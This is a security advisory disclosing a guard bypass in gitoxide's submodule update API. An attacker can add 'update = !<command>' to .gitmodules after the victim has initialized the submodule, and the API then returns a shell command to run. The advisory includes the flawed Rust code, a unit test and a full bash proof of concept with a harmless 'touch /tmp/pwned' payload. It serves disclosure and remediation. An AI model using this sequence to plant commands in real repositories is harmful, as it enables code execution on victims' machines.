Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in GitoxideLabs/gitoxide@6a2e6a4.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

References

• GHSA-f26g-jm89-4g65